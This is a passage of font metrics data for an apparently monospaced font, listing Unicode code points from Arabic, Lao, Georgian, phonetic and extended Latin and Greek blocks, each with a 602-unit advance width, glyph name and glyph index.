U 1567 ; WX 602 ; N uni061F ; G 1110
U 1569 ; WX 602 ; N uni0621 ; G 1111
U 1570 ; WX 602 ; N uni0622 ; G 1112
U 1571 ; WX 602 ; N uni0623 ; G 1113
U 1572 ; WX 602 ; N uni0624 ; G 1114
U 1573 ; WX 602 ; N uni0625 ; G 1115
U 1574 ; WX 602 ; N uni0626 ; G 1116
U 1575 ; WX 602 ; N uni0627 ; G 1117
U 1576 ; WX 602 ; N uni0628 ; G 1118
U 1577 ; WX 602 ; N uni0629 ; G 1119
U 1578 ; WX 602 ; N uni062A ; G 1120
U 1579 ; WX 602 ; N uni062B ; G 1121
U 1580 ; WX 602 ; N uni062C ; G 1122
U 1581 ; WX 602 ; N uni062D ; G 1123
U 1582 ; WX 602 ; N uni062E ; G 1124
U 1583 ; WX 602 ; N uni062F ; G 1125
U 1584 ; WX 602 ; N uni0630 ; G 1126
U 1585 ; WX 602 ; N uni0631 ; G 1127
U 1586 ; WX 602 ; N uni0632 ; G 1128
U 1587 ; WX 602 ; N uni0633 ; G 1129
U 1588 ; WX 602 ; N uni0634 ; G 1130
U 1589 ; WX 602 ; N uni0635 ; G 1131
U 1590 ; WX 602 ; N uni0636 ; G 1132
U 1591 ; WX 602 ; N uni0637 ; G 1133
U 1592 ; WX 602 ; N uni0638 ; G 1134
U 1593 ; WX 602 ; N uni0639 ; G 1135
U 1594 ; WX 602 ; N uni063A ; G 1136
U 1600 ; WX 602 ; N uni0640 ; G 1137
U 1601 ; WX 602 ; N uni0641 ; G 1138
U 1602 ; WX 602 ; N uni0642 ; G 1139
U 1603 ; WX 602 ; N uni0643 ; G 1140
U 1604 ; WX 602 ; N uni0644 ; G 1141
U 1605 ; WX 602 ; N uni0645 ; G 1142
U 1606 ; WX 602 ; N uni0646 ; G 1143
U 1607 ; WX 602 ; N uni0647 ; G 1144
U 1608 ; WX 602 ; N uni0648 ; G 1145
U 1609 ; WX 602 ; N uni0649 ; G 1146
U 1610 ; WX 602 ; N uni064A ; G 1147
U 1611 ; WX 602 ; N uni064B ; G 1148
U 1612 ; WX 602 ; N uni064C ; G 1149
U 1613 ; WX 602 ; N uni064D ; G 1150
U 1614 ; WX 602 ; N uni064E ; G 1151
U 1615 ; WX 602 ; N uni064F ; G 1152
U 1616 ; WX 602 ; N uni0650 ; G 1153
U 1617 ; WX 602 ; N uni0651 ; G 1154
U 1618 ; WX 602 ; N uni0652 ; G 1155
U 1619 ; WX 602 ; N uni0653 ; G 1156
U 1620 ; WX 602 ; N uni0654 ; G 1157
U 1621 ; WX 602 ; N uni0655 ; G 1158
U 1626 ; WX 602 ; N uni065A ; G 1159
U 1632 ; WX 602 ; N uni0660 ; G 1160
U 1633 ; WX 602 ; N uni0661 ; G 1161
U 1634 ; WX 602 ; N uni0662 ; G 1162
U 1635 ; WX 602 ; N uni0663 ; G 1163
U 1636 ; WX 602 ; N uni0664 ; G 1164
U 1637 ; WX 602 ; N uni0665 ; G 1165
U 1638 ; WX 602 ; N uni0666 ; G 1166
U 1639 ; WX 602 ; N uni0667 ; G 1167
U 1640 ; WX 602 ; N uni0668 ; G 1168
U 1641 ; WX 602 ; N uni0669 ; G 1169
U 1642 ; WX 602 ; N uni066A ; G 1170
U 1643 ; WX 602 ; N uni066B ; G 1171
U 1644 ; WX 602 ; N uni066C ; G 1172
U 1645 ; WX 602 ; N uni066D ; G 1173
U 1652 ; WX 602 ; N uni0674 ; G 1174
U 1657 ; WX 602 ; N uni0679 ; G 1175
U 1658 ; WX 602 ; N uni067A ; G 1176
U 1659 ; WX 602 ; N uni067B ; G 1177
U 1662 ; WX 602 ; N uni067E ; G 1178
U 1663 ; WX 602 ; N uni067F ; G 1179
U 1664 ; WX 602 ; N uni0680 ; G 1180
U 1667 ; WX 602 ; N uni0683 ; G 1181
U 1668 ; WX 602 ; N uni0684 ; G 1182
U 1670 ; WX 602 ; N uni0686 ; G 1183
U 1671 ; WX 602 ; N uni0687 ; G 1184
U 1681 ; WX 602 ; N uni0691 ; G 1185
U 1688 ; WX 602 ; N uni0698 ; G 1186
U 1700 ; WX 602 ; N uni06A4 ; G 1187
U 1705 ; WX 602 ; N uni06A9 ; G 1188
U 1711 ; WX 602 ; N uni06AF ; G 1189
U 1726 ; WX 602 ; N uni06BE ; G 1190
U 1740 ; WX 602 ; N uni06CC ; G 1191
U 1776 ; WX 602 ; N uni06F0 ; G 1192
U 1777 ; WX 602 ; N uni06F1 ; G 1193
U 1778 ; WX 602 ; N uni06F2 ; G 1194
U 1779 ; WX 602 ; N uni06F3 ; G 1195
U 1780 ; WX 602 ; N uni06F4 ; G 1196
U 1781 ; WX 602 ; N uni06F5 ; G 1197
U 1782 ; WX 602 ; N uni06F6 ; G 1198
U 1783 ; WX 602 ; N uni06F7 ; G 1199
U 1784 ; WX 602 ; N uni06F8 ; G 1200
U 1785 ; WX 602 ; N uni06F9 ; G 1201
U 3647 ; WX 602 ; N uni0E3F ; G 1202
U 3713 ; WX 602 ; N uni0E81 ; G 1203
U 3714 ; WX 602 ; N uni0E82 ; G 1204
U 3716 ; WX 602 ; N uni0E84 ; G 1205
U 3719 ; WX 602 ; N uni0E87 ; G 1206
U 3720 ; WX 602 ; N uni0E88 ; G 1207
U 3722 ; WX 602 ; N uni0E8A ; G 1208
U 3725 ; WX 602 ; N uni0E8D ; G 1209
U 3732 ; WX 602 ; N uni0E94 ; G 1210
U 3733 ; WX 602 ; N uni0E95 ; G 1211
U 3734 ; WX 602 ; N uni0E96 ; G 1212
U 3735 ; WX 602 ; N uni0E97 ; G 1213
U 3737 ; WX 602 ; N uni0E99 ; G 1214
U 3738 ; WX 602 ; N uni0E9A ; G 1215
U 3739 ; WX 602 ; N uni0E9B ; G 1216
U 3740 ; WX 602 ; N uni0E9C ; G 1217
U 3741 ; WX 602 ; N uni0E9D ; G 1218
U 3742 ; WX 602 ; N uni0E9E ; G 1219
U 3743 ; WX 602 ; N uni0E9F ; G 1220
U 3745 ; WX 602 ; N uni0EA1 ; G 1221
U 3746 ; WX 602 ; N uni0EA2 ; G 1222
U 3747 ; WX 602 ; N uni0EA3 ; G 1223
U 3749 ; WX 602 ; N uni0EA5 ; G 1224
U 3751 ; WX 602 ; N uni0EA7 ; G 1225
U 3754 ; WX 602 ; N uni0EAA ; G 1226
U 3755 ; WX 602 ; N uni0EAB ; G 1227
U 3757 ; WX 602 ; N uni0EAD ; G 1228
U 3758 ; WX 602 ; N uni0EAE ; G 1229
U 3759 ; WX 602 ; N uni0EAF ; G 1230
U 3760 ; WX 602 ; N uni0EB0 ; G 1231
U 3761 ; WX 602 ; N uni0EB1 ; G 1232
U 3762 ; WX 602 ; N uni0EB2 ; G 1233
U 3763 ; WX 602 ; N uni0EB3 ; G 1234
U 3764 ; WX 602 ; N uni0EB4 ; G 1235
U 3765 ; WX 602 ; N uni0EB5 ; G 1236
U 3766 ; WX 602 ; N uni0EB6 ; G 1237
U 3767 ; WX 602 ; N uni0EB7 ; G 1238
U 3768 ; WX 602 ; N uni0EB8 ; G 1239
U 3769 ; WX 602 ; N uni0EB9 ; G 1240
U 3771 ; WX 602 ; N uni0EBB ; G 1241
U 3772 ; WX 602 ; N uni0EBC ; G 1242
U 3784 ; WX 602 ; N uni0EC8 ; G 1243
U 3785 ; WX 602 ; N uni0EC9 ; G 1244
U 3786 ; WX 602 ; N uni0ECA ; G 1245
U 3787 ; WX 602 ; N uni0ECB ; G 1246
U 3788 ; WX 602 ; N uni0ECC ; G 1247
U 3789 ; WX 602 ; N uni0ECD ; G 1248
U 4304 ; WX 602 ; N uni10D0 ; G 1249
U 4305 ; WX 602 ; N uni10D1 ; G 1250
U 4306 ; WX 602 ; N uni10D2 ; G 1251
U 4307 ; WX 602 ; N uni10D3 ; G 1252
U 4308 ; WX 602 ; N uni10D4 ; G 1253
U 4309 ; WX 602 ; N uni10D5 ; G 1254
U 4310 ; WX 602 ; N uni10D6 ; G 1255
U 4311 ; WX 602 ; N uni10D7 ; G 1256
U 4312 ; WX 602 ; N uni10D8 ; G 1257
U 4313 ; WX 602 ; N uni10D9 ; G 1258
U 4314 ; WX 602 ; N uni10DA ; G 1259
U 4315 ; WX 602 ; N uni10DB ; G 1260
U 4316 ; WX 602 ; N uni10DC ; G 1261
U 4317 ; WX 602 ; N uni10DD ; G 1262
U 4318 ; WX 602 ; N uni10DE ; G 1263
U 4319 ; WX 602 ; N uni10DF ; G 1264
U 4320 ; WX 602 ; N uni10E0 ; G 1265
U 4321 ; WX 602 ; N uni10E1 ; G 1266
U 4322 ; WX 602 ; N uni10E2 ; G 1267
U 4323 ; WX 602 ; N uni10E3 ; G 1268
U 4324 ; WX 602 ; N uni10E4 ; G 1269
U 4325 ; WX 602 ; N uni10E5 ; G 1270
U 4326 ; WX 602 ; N uni10E6 ; G 1271
U 4327 ; WX 602 ; N uni10E7 ; G 1272
U 4328 ; WX 602 ; N uni10E8 ; G 1273
U 4329 ; WX 602 ; N uni10E9 ; G 1274
U 4330 ; WX 602 ; N uni10EA ; G 1275
U 4331 ; WX 602 ; N uni10EB ; G 1276
U 4332 ; WX 602 ; N uni10EC ; G 1277
U 4333 ; WX 602 ; N uni10ED ; G 1278
U 4334 ; WX 602 ; N uni10EE ; G 1279
U 4335 ; WX 602 ; N uni10EF ; G 1280
U 4336 ; WX 602 ; N uni10F0 ; G 1281
U 4337 ; WX 602 ; N uni10F1 ; G 1282
U 4338 ; WX 602 ; N uni10F2 ; G 1283
U 4339 ; WX 602 ; N uni10F3 ; G 1284
U 4340 ; WX 602 ; N uni10F4 ; G 1285
U 4341 ; WX 602 ; N uni10F5 ; G 1286
U 4342 ; WX 602 ; N uni10F6 ; G 1287
U 4343 ; WX 602 ; N uni10F7 ; G 1288
U 4344 ; WX 602 ; N uni10F8 ; G 1289
U 4345 ; WX 602 ; N uni10F9 ; G 1290
U 4346 ; WX 602 ; N uni10FA ; G 1291
U 4347 ; WX 602 ; N uni10FB ; G 1292
U 4348 ; WX 602 ; N uni10FC ; G 1293
U 7426 ; WX 602 ; N uni1D02 ; G 1294
U 7432 ; WX 602 ; N uni1D08 ; G 1295
U 7433 ; WX 602 ; N uni1D09 ; G 1296
U 7444 ; WX 602 ; N uni1D14 ; G 1297
U 7446 ; WX 602 ; N uni1D16 ; G 1298
U 7447 ; WX 602 ; N uni1D17 ; G 1299
U 7453 ; WX 602 ; N uni1D1D ; G 1300
U 7454 ; WX 602 ; N uni1D1E ; G 1301
U 7455 ; WX 602 ; N uni1D1F ; G 1302
U 7468 ; WX 602 ; N uni1D2C ; G 1303
U 7469 ; WX 602 ; N uni1D2D ; G 1304
U 7470 ; WX 602 ; N uni1D2E ; G 1305
U 7472 ; WX 602 ; N uni1D30 ; G 1306
U 7473 ; WX 602 ; N uni1D31 ; G 1307
U 7474 ; WX 602 ; N uni1D32 ; G 1308
U 7475 ; WX 602 ; N uni1D33 ; G 1309
U 7476 ; WX 602 ; N uni1D34 ; G 1310
U 7477 ; WX 602 ; N uni1D35 ; G 1311
U 7478 ; WX 602 ; N uni1D36 ; G 1312
U 7479 ; WX 602 ; N uni1D37 ; G 1313
U 7480 ; WX 602 ; N uni1D38 ; G 1314
U 7481 ; WX 602 ; N uni1D39 ; G 1315
U 7482 ; WX 602 ; N uni1D3A ; G 1316
U 7483 ; WX 602 ; N uni1D3B ; G 1317
U 7484 ; WX 602 ; N uni1D3C ; G 1318
U 7486 ; WX 602 ; N uni1D3E ; G 1319
U 7487 ; WX 602 ; N uni1D3F ; G 1320
U 7488 ; WX 602 ; N uni1D40 ; G 1321
U 7489 ; WX 602 ; N uni1D41 ; G 1322
U 7490 ; WX 602 ; N uni1D42 ; G 1323
U 7491 ; WX 602 ; N uni1D43 ; G 1324
U 7492 ; WX 602 ; N uni1D44 ; G 1325
U 7493 ; WX 602 ; N uni1D45 ; G 1326
U 7494 ; WX 602 ; N uni1D46 ; G 1327
U 7495 ; WX 602 ; N uni1D47 ; G 1328
U 7496 ; WX 602 ; N uni1D48 ; G 1329
U 7497 ; WX 602 ; N uni1D49 ; G 1330
U 7498 ; WX 602 ; N uni1D4A ; G 1331
U 7499 ; WX 602 ; N uni1D4B ; G 1332
U 7500 ; WX 602 ; N uni1D4C ; G 1333
U 7501 ; WX 602 ; N uni1D4D ; G 1334
U 7502 ; WX 602 ; N uni1D4E ; G 1335
U 7503 ; WX 602 ; N uni1D4F ; G 1336
U 7504 ; WX 602 ; N uni1D50 ; G 1337
U 7505 ; WX 602 ; N uni1D51 ; G 1338
U 7506 ; WX 602 ; N uni1D52 ; G 1339
U 7507 ; WX 602 ; N uni1D53 ; G 1340
U 7508 ; WX 602 ; N uni1D54 ; G 1341
U 7509 ; WX 602 ; N uni1D55 ; G 1342
U 7510 ; WX 602 ; N uni1D56 ; G 1343
U 7511 ; WX 602 ; N uni1D57 ; G 1344
U 7512 ; WX 602 ; N uni1D58 ; G 1345
U 7513 ; WX 602 ; N uni1D59 ; G 1346
U 7514 ; WX 602 ; N uni1D5A ; G 1347
U 7515 ; WX 602 ; N uni1D5B ; G 1348
U 7522 ; WX 602 ; N uni1D62 ; G 1349
U 7523 ; WX 602 ; N uni1D63 ; G 1350
U 7524 ; WX 602 ; N uni1D64 ; G 1351
U 7525 ; WX 602 ; N uni1D65 ; G 1352
U 7543 ; WX 602 ; N uni1D77 ; G 1353
U 7544 ; WX 602 ; N uni1D78 ; G 1354
U 7547 ; WX 602 ; N uni1D7B ; G 1355
U 7557 ; WX 602 ; N uni1D85 ; G 1356
U 7579 ; WX 602 ; N uni1D9B ; G 1357
U 7580 ; WX 602 ; N uni1D9C ; G 1358
U 7581 ; WX 602 ; N uni1D9D ; G 1359
U 7582 ; WX 602 ; N uni1D9E ; G 1360
U 7583 ; WX 602 ; N uni1D9F ; G 1361
U 7584 ; WX 602 ; N uni1DA0 ; G 1362
U 7585 ; WX 602 ; N uni1DA1 ; G 1363
U 7586 ; WX 602 ; N uni1DA2 ; G 1364
U 7587 ; WX 602 ; N uni1DA3 ; G 1365
U 7588 ; WX 602 ; N uni1DA4 ; G 1366
U 7589 ; WX 602 ; N uni1DA5 ; G 1367
U 7590 ; WX 602 ; N uni1DA6 ; G 1368
U 7591 ; WX 602 ; N uni1DA7 ; G 1369
U 7592 ; WX 602 ; N uni1DA8 ; G 1370
U 7593 ; WX 602 ; N uni1DA9 ; G 1371
U 7594 ; WX 602 ; N uni1DAA ; G 1372
U 7595 ; WX 602 ; N uni1DAB ; G 1373
U 7596 ; WX 602 ; N uni1DAC ; G 1374
U 7597 ; WX 602 ; N uni1DAD ; G 1375
U 7598 ; WX 602 ; N uni1DAE ; G 1376
U 7599 ; WX 602 ; N uni1DAF ; G 1377
U 7600 ; WX 602 ; N uni1DB0 ; G 1378
U 7601 ; WX 602 ; N uni1DB1 ; G 1379
U 7602 ; WX 602 ; N uni1DB2 ; G 1380
U 7603 ; WX 602 ; N uni1DB3 ; G 1381
U 7604 ; WX 602 ; N uni1DB4 ; G 1382
U 7605 ; WX 602 ; N uni1DB5 ; G 1383
U 7606 ; WX 602 ; N uni1DB6 ; G 1384
U 7607 ; WX 602 ; N uni1DB7 ; G 1385
U 7609 ; WX 602 ; N uni1DB9 ; G 1386
U 7610 ; WX 602 ; N uni1DBA ; G 1387
U 7611 ; WX 602 ; N uni1DBB ; G 1388
U 7612 ; WX 602 ; N uni1DBC ; G 1389
U 7613 ; WX 602 ; N uni1DBD ; G 1390
U 7614 ; WX 602 ; N uni1DBE ; G 1391
U 7615 ; WX 602 ; N uni1DBF ; G 1392
U 7680 ; WX 602 ; N uni1E00 ; G 1393
U 7681 ; WX 602 ; N uni1E01 ; G 1394
U 7682 ; WX 602 ; N uni1E02 ; G 1395
U 7683 ; WX 602 ; N uni1E03 ; G 1396
U 7684 ; WX 602 ; N uni1E04 ; G 1397
U 7685 ; WX 602 ; N uni1E05 ; G 1398
U 7686 ; WX 602 ; N uni1E06 ; G 1399
U 7687 ; WX 602 ; N uni1E07 ; G 1400
U 7688 ; WX 602 ; N uni1E08 ; G 1401
U 7689 ; WX 602 ; N uni1E09 ; G 1402
U 7690 ; WX 602 ; N uni1E0A ; G 1403
U 7691 ; WX 602 ; N uni1E0B ; G 1404
U 7692 ; WX 602 ; N uni1E0C ; G 1405
U 7693 ; WX 602 ; N uni1E0D ; G 1406
U 7694 ; WX 602 ; N uni1E0E ; G 1407
U 7695 ; WX 602 ; N uni1E0F ; G 1408
U 7696 ; WX 602 ; N uni1E10 ; G 1409
U 7697 ; WX 602 ; N uni1E11 ; G 1410
U 7698 ; WX 602 ; N uni1E12 ; G 1411
U 7699 ; WX 602 ; N uni1E13 ; G 1412
U 7704 ; WX 602 ; N uni1E18 ; G 1413
U 7705 ; WX 602 ; N uni1E19 ; G 1414
U 7706 ; WX 602 ; N uni1E1A ; G 1415
U 7707 ; WX 602 ; N uni1E1B ; G 1416
U 7708 ; WX 602 ; N uni1E1C ; G 1417
U 7709 ; WX 602 ; N uni1E1D ; G 1418
U 7710 ; WX 602 ; N uni1E1E ; G 1419
U 7711 ; WX 602 ; N uni1E1F ; G 1420
U 7712 ; WX 602 ; N uni1E20 ; G 1421
U 7713 ; WX 602 ; N uni1E21 ; G 1422
U 7714 ; WX 602 ; N uni1E22 ; G 1423
U 7715 ; WX 602 ; N uni1E23 ; G 1424
U 7716 ; WX 602 ; N uni1E24 ; G 1425
U 7717 ; WX 602 ; N uni1E25 ; G 1426
U 7718 ; WX 602 ; N uni1E26 ; G 1427
U 7719 ; WX 602 ; N uni1E27 ; G 1428
U 7720 ; WX 602 ; N uni1E28 ; G 1429
U 7721 ; WX 602 ; N uni1E29 ; G 1430
U 7722 ; WX 602 ; N uni1E2A ; G 1431
U 7723 ; WX 602 ; N uni1E2B ; G 1432
U 7724 ; WX 602 ; N uni1E2C ; G 1433
U 7725 ; WX 602 ; N uni1E2D ; G 1434
U 7728 ; WX 602 ; N uni1E30 ; G 1435
U 7729 ; WX 602 ; N uni1E31 ; G 1436
U 7730 ; WX 602 ; N uni1E32 ; G 1437
U 7731 ; WX 602 ; N uni1E33 ; G 1438
U 7732 ; WX 602 ; N uni1E34 ; G 1439
U 7733 ; WX 602 ; N uni1E35 ; G 1440
U 7734 ; WX 602 ; N uni1E36 ; G 1441
U 7735 ; WX 602 ; N uni1E37 ; G 1442
U 7736 ; WX 602 ; N uni1E38 ; G 1443
U 7737 ; WX 602 ; N uni1E39 ; G 1444
U 7738 ; WX 602 ; N uni1E3A ; G 1445
U 7739 ; WX 602 ; N uni1E3B ; G 1446
U 7740 ; WX 602 ; N uni1E3C ; G 1447
U 7741 ; WX 602 ; N uni1E3D ; G 1448
U 7742 ; WX 602 ; N uni1E3E ; G 1449
U 7743 ; WX 602 ; N uni1E3F ; G 1450
U 7744 ; WX 602 ; N uni1E40 ; G 1451
U 7745 ; WX 602 ; N uni1E41 ; G 1452
U 7746 ; WX 602 ; N uni1E42 ; G 1453
U 7747 ; WX 602 ; N uni1E43 ; G 1454
U 7748 ; WX 602 ; N uni1E44 ; G 1455
U 7749 ; WX 602 ; N uni1E45 ; G 1456
U 7750 ; WX 602 ; N uni1E46 ; G 1457
U 7751 ; WX 602 ; N uni1E47 ; G 1458
U 7752 ; WX 602 ; N uni1E48 ; G 1459
U 7753 ; WX 602 ; N uni1E49 ; G 1460
U 7754 ; WX 602 ; N uni1E4A ; G 1461
U 7755 ; WX 602 ; N uni1E4B ; G 1462
U 7756 ; WX 602 ; N uni1E4C ; G 1463
U 7757 ; WX 602 ; N uni1E4D ; G 1464
U 7764 ; WX 602 ; N uni1E54 ; G 1465
U 7765 ; WX 602 ; N uni1E55 ; G 1466
U 7766 ; WX 602 ; N uni1E56 ; G 1467
U 7767 ; WX 602 ; N uni1E57 ; G 1468
U 7768 ; WX 602 ; N uni1E58 ; G 1469
U 7769 ; WX 602 ; N uni1E59 ; G 1470
U 7770 ; WX 602 ; N uni1E5A ; G 1471
U 7771 ; WX 602 ; N uni1E5B ; G 1472
U 7772 ; WX 602 ; N uni1E5C ; G 1473
U 7773 ; WX 602 ; N uni1E5D ; G 1474
U 7774 ; WX 602 ; N uni1E5E ; G 1475
U 7775 ; WX 602 ; N uni1E5F ; G 1476
U 7776 ; WX 602 ; N uni1E60 ; G 1477
U 7777 ; WX 602 ; N uni1E61 ; G 1478
U 7778 ; WX 602 ; N uni1E62 ; G 1479
U 7779 ; WX 602 ; N uni1E63 ; G 1480
U 7784 ; WX 602 ; N uni1E68 ; G 1481
U 7785 ; WX 602 ; N uni1E69 ; G 1482
U 7786 ; WX 602 ; N uni1E6A ; G 1483
U 7787 ; WX 602 ; N uni1E6B ; G 1484
U 7788 ; WX 602 ; N uni1E6C ; G 1485
U 7789 ; WX 602 ; N uni1E6D ; G 1486
U 7790 ; WX 602 ; N uni1E6E ; G 1487
U 7791 ; WX 602 ; N uni1E6F ; G 1488
U 7792 ; WX 602 ; N uni1E70 ; G 1489
U 7793 ; WX 602 ; N uni1E71 ; G 1490
U 7794 ; WX 602 ; N uni1E72 ; G 1491
U 7795 ; WX 602 ; N uni1E73 ; G 1492
U 7796 ; WX 602 ; N uni1E74 ; G 1493
U 7797 ; WX 602 ; N uni1E75 ; G 1494
U 7798 ; WX 602 ; N uni1E76 ; G 1495
U 7799 ; WX 602 ; N uni1E77 ; G 1496
U 7800 ; WX 602 ; N uni1E78 ; G 1497
U 7801 ; WX 602 ; N uni1E79 ; G 1498
U 7804 ; WX 602 ; N uni1E7C ; G 1499
U 7805 ; WX 602 ; N uni1E7D ; G 1500
U 7806 ; WX 602 ; N uni1E7E ; G 1501
U 7807 ; WX 602 ; N uni1E7F ; G 1502
U 7808 ; WX 602 ; N Wgrave ; G 1503
U 7809 ; WX 602 ; N wgrave ; G 1504
U 7810 ; WX 602 ; N Wacute ; G 1505
U 7811 ; WX 602 ; N wacute ; G 1506
U 7812 ; WX 602 ; N Wdieresis ; G 1507
U 7813 ; WX 602 ; N wdieresis ; G 1508
U 7814 ; WX 602 ; N uni1E86 ; G 1509
U 7815 ; WX 602 ; N uni1E87 ; G 1510
U 7816 ; WX 602 ; N uni1E88 ; G 1511
U 7817 ; WX 602 ; N uni1E89 ; G 1512
U 7818 ; WX 602 ; N uni1E8A ; G 1513
U 7819 ; WX 602 ; N uni1E8B ; G 1514
U 7820 ; WX 602 ; N uni1E8C ; G 1515
U 7821 ; WX 602 ; N uni1E8D ; G 1516
U 7822 ; WX 602 ; N uni1E8E ; G 1517
U 7823 ; WX 602 ; N uni1E8F ; G 1518
U 7824 ; WX 602 ; N uni1E90 ; G 1519
U 7825 ; WX 602 ; N uni1E91 ; G 1520
U 7826 ; WX 602 ; N uni1E92 ; G 1521
U 7827 ; WX 602 ; N uni1E93 ; G 1522
U 7828 ; WX 602 ; N uni1E94 ; G 1523
U 7829 ; WX 602 ; N uni1E95 ; G 1524
U 7830 ; WX 602 ; N uni1E96 ; G 1525
U 7831 ; WX 602 ; N uni1E97 ; G 1526
U 7832 ; WX 602 ; N uni1E98 ; G 1527
U 7833 ; WX 602 ; N uni1E99 ; G 1528
U 7835 ; WX 602 ; N uni1E9B ; G 1529
U 7839 ; WX 602 ; N uni1E9F ; G 1530
U 7840 ; WX 602 ; N uni1EA0 ; G 1531
U 7841 ; WX 602 ; N uni1EA1 ; G 1532
U 7852 ; WX 602 ; N uni1EAC ; G 1533
U 7853 ; WX 602 ; N uni1EAD ; G 1534
U 7856 ; WX 602 ; N uni1EB0 ; G 1535
U 7857 ; WX 602 ; N uni1EB1 ; G 1536
U 7862 ; WX 602 ; N uni1EB6 ; G 1537
U 7863 ; WX 602 ; N uni1EB7 ; G 1538
U 7864 ; WX 602 ; N uni1EB8 ; G 1539
U 7865 ; WX 602 ; N uni1EB9 ; G 1540
U 7868 ; WX 602 ; N uni1EBC ; G 1541
U 7869 ; WX 602 ; N uni1EBD ; G 1542
U 7878 ; WX 602 ; N uni1EC6 ; G 1543
U 7879 ; WX 602 ; N uni1EC7 ; G 1544
U 7882 ; WX 602 ; N uni1ECA ; G 1545
U 7883 ; WX 602 ; N uni1ECB ; G 1546
U 7884 ; WX 602 ; N uni1ECC ; G 1547
U 7885 ; WX 602 ; N uni1ECD ; G 1548
U 7896 ; WX 602 ; N uni1ED8 ; G 1549
U 7897 ; WX 602 ; N uni1ED9 ; G 1550
U 7898 ; WX 602 ; N uni1EDA ; G 1551
U 7899 ; WX 602 ; N uni1EDB ; G 1552
U 7900 ; WX 602 ; N uni1EDC ; G 1553
U 7901 ; WX 602 ; N uni1EDD ; G 1554
U 7904 ; WX 602 ; N uni1EE0 ; G 1555
U 7905 ; WX 602 ; N uni1EE1 ; G 1556
U 7906 ; WX 602 ; N uni1EE2 ; G 1557
U 7907 ; WX 602 ; N uni1EE3 ; G 1558
U 7908 ; WX 602 ; N uni1EE4 ; G 1559
U 7909 ; WX 602 ; N uni1EE5 ; G 1560
U 7912 ; WX 602 ; N uni1EE8 ; G 1561
U 7913 ; WX 602 ; N uni1EE9 ; G 1562
U 7914 ; WX 602 ; N uni1EEA ; G 1563
U 7915 ; WX 602 ; N uni1EEB ; G 1564
U 7918 ; WX 602 ; N uni1EEE ; G 1565
U 7919 ; WX 602 ; N uni1EEF ; G 1566
U 7920 ; WX 602 ; N uni1EF0 ; G 1567
U 7921 ; WX 602 ; N uni1EF1 ; G 1568
U 7922 ; WX 602 ; N Ygrave ; G 1569
U 7923 ; WX 602 ; N ygrave ; G 1570
U 7924 ; WX 602 ; N uni1EF4 ; G 1571
U 7925 ; WX 602 ; N uni1EF5 ; G 1572
U 7928 ; WX 602 ; N uni1EF8 ; G 1573
U 7929 ; WX 602 ; N uni1EF9 ; G 1574
U 7936 ; WX 602 ; N uni1F00 ; G 1575
U 7937 ; WX 602 ; N uni1F01 ; G 1576
U 7938 ; WX 602 ; N uni1F02 ; G 1577
U 7939 ; WX 602 ; N uni1F03 ; G 1578
U 7940 ; WX 602 ; N uni1F04 ; G 1579
U 7941 ; WX 602 ; N uni1F05 ; G 1580
U 7942 ; WX 602 ; N uni1F06 ; G 1581
U 7943 ; WX 602 ; N uni1F07 ; G 1582
U 7944 ; WX 602 ; N uni1F08 ; G 1583
U 7945 ; WX 602 ; N uni1F09 ; G 1584
U 7946 ; WX 602 ; N uni1F0A ; G 1585
U 7947 ; WX 602 ; N uni1F0B ; G 1586
U 7948 ; WX 602 ; N uni1F0C ; G 1587
U 7949 ; WX 602 ; N uni1F0D ; G 1588
U 7950 ; WX 602 ; N uni1F0E ; G 1589
U 7951 ; WX 602 ; N uni1F0F ; G 1590
U 7952 ; WX 602 ; N uni1F10 ; G 1591
U 7953 ; WX 602 ; N uni1F11 ; G 1592
U 7954 ; WX 602 ; N uni1F12 ; G 1593
U 7955 ; WX 602 ; N uni1F13 ; G 1594
U 7956 ; WX 602 ; N uni1F14 ; G 1595
U 7957 ; WX 602 ; N uni1F15 ; G 1596
U 7960 ; WX 602 ; N uni1F18 ; G 1597
U 7961 ; WX 602 ; N uni1F19 ; G 1598
U 7962 ; WX 602 ; N uni1F1A ; G 1599
U 7963 ; WX 602 ; N uni1F1B ; G 1600
U 7964 ; WX 602 ; N uni1F1C ; G 1601
U 7965 ; WX 602 ; N uni1F1D ; G 1602
U 7968 ; WX 602 ; N uni1F20 ; G 1603
U 7969 ; WX 602 ; N uni1F21 ; G 1604
U 7970 ; WX 602 ; N uni1F22 ; G 1605
U 7971 ; WX 602 ; N uni1F23 ; G 1606
U 7972 ; WX 602 ; N uni1F24 ; G 1607
U 7973 ; WX 602 ; N uni1F25 ; G 1608
U 7974 ; WX 602 ; N uni1F26 ; G 1609
U 7975 ; WX 602 ; N uni1F27 ; G 1610
U 7976 ; WX 602 ; N uni1F28 ; G 1611
U 7977 ; WX 602 ; N uni1F29 ; G 1612
U 7978 ; WX 602 ; N uni1F2A ; G 1613
U 7979 ; WX 602 ; N uni1F2B ; G 1614
U 7980 ; WX 602 ; N uni1F2C ; G 1615
U 7981 ; WX 602 ; N uni1F2D ; G 1616
U 7982 ; WX 602 ; N uni1F2E ; G 1617
U 7983 ; WX 602 ; N uni1F2F ; G 1618
U 7984 ; WX 602 ; N uni1F30 ; G 1619
U 7985 ; WX 602 ; N uni1F31 ; G 1620
U 7986 ; WX 602 ; N uni1F32 ; G 1621
U 7987 ; WX 602 ; N uni1F33 ; G 1622
U 7988 ; WX 602 ; N uni1F34 ; G 1623
U 7989 ; WX 602 ; N uni1F35 ; G 1624
U 7990 ; WX 602 ; N uni1F36 ; G 1625
U 7991 ; WX 602 ; N uni1F37 ; G 1626
U 7992 ; WX 602 ; N uni1F38 ; G 1627
U 7993 ; WX 602 ; N uni1F39 ; G 1628
U 7994 ; WX 602 ; N uni1F3A ; G 1629
U 7995 ; WX 602 ; N uni1F3B ; G 1630
U 7996 ; WX 602 ; N uni1F3C ; G 1631
U 7997 ; WX 602 ; N uni1F3D ; G 1632
U 7998 ; WX 602 ; N uni1F3E ; G 1633
U 7999 ; WX 602 ; N uni1F3F ; G 1634
U 8000 ; WX 602 ; N uni1F40 ; G 1635
U 8001 ; WX 602 ; N uni1F41 ; G 1636
U 8002 ; WX 602 ; N uni1F42 ; G 1637
U 8003 ; WX 602 ; N uni1F43 ; G 1638
U 8004 ; WX 602 ; N uni1F44 ; G 1639
U 8005 ; WX 602 ; N uni1F45 ; G 1640
U 8008 ; WX 602 ; N uni1F48 ; G 1641
U 8009 ; WX 602 ; N uni1F49 ; G 1642
U 8010 ; WX 602 ; N uni1F4A ; G 1643
U 8011 ; WX 602 ; N uni1F4B ; G 1644
U 8012 ; WX 602 ; N uni1F4C ; G 1645
U 8013 ; WX 602 ; N uni1F4D ; G 1646
U 8016 ; WX 602 ; N uni1F50 ; G 1647
